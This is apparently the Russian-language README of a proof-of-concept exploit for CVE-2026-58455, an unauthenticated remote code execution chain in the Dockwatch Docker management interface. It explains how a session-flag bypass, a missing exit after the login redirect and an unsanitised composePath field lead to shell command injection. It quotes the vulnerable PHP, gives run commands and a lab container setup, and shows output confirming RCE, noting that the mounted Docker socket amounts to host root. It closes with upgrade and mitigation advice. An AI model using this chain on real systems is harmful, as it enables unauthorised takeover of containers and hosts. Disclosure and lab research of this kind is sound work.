
PoC для CVE-2026-58455: Dockwatch <=0.6.567 неаутентифицированное RCE. Python только со стандартной библиотекой.
PoC для CVE-2026-58455: неаутентифицированное удалённое выполнение кода в Dockwatch (от Notifiarr), веб-интерфейсе для управления Docker-контейнерами с самостоятельным хостингом. Затрагивает все версии до 0.6.567 включительно.
Три уязвимости, объединённые в цепочку:
GET /includes/header.php выполняет
$_SESSION['IN_DOCKWATCH'] = true; для любого посетителя. AJAX-слой
(ajax/shared.php) проверяет только этот флаг.exit() после редиректа аутентификации — loader.php отправляет
заголовок Location: login.php, когда $_SESSION['authenticated'] равен false, но не
завершает выполнение, поэтому остальная часть запроса продолжает работать.ajax/compose.php (m=composePull) формирует shell-команду
с несанитизированным вводом:
$cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
$pull = $shell->exec($cmd . ' 2>&1');
В цепочке: неаутентифицированный удалённый злоумышленник выполняет произвольные OS-команды от имени
пользователя веб-сервера внутри контейнера. Типовые развёртывания монтируют /var/run/docker.sock
в контейнер → это эквивалентно root на хосте.
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888 # значения по умолчанию
Только стандартная библиотека Python 3.
docker run -d --name dockwatch-lab -p 8888:80 \
-v /var/run/docker.sock:/var/run/docker.sock \
ghcr.io/notifiarr/dockwatch:v0.6.567
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
Обновите Dockwatch до версии новее 0.6.567. В качестве меры смягчения не открывайте Dockwatch для ненадёжных сетей и удалите привязку Docker-сокета, если она не требуется.
Только для авторизованных исследований в области безопасности и использования в лабораторных условиях.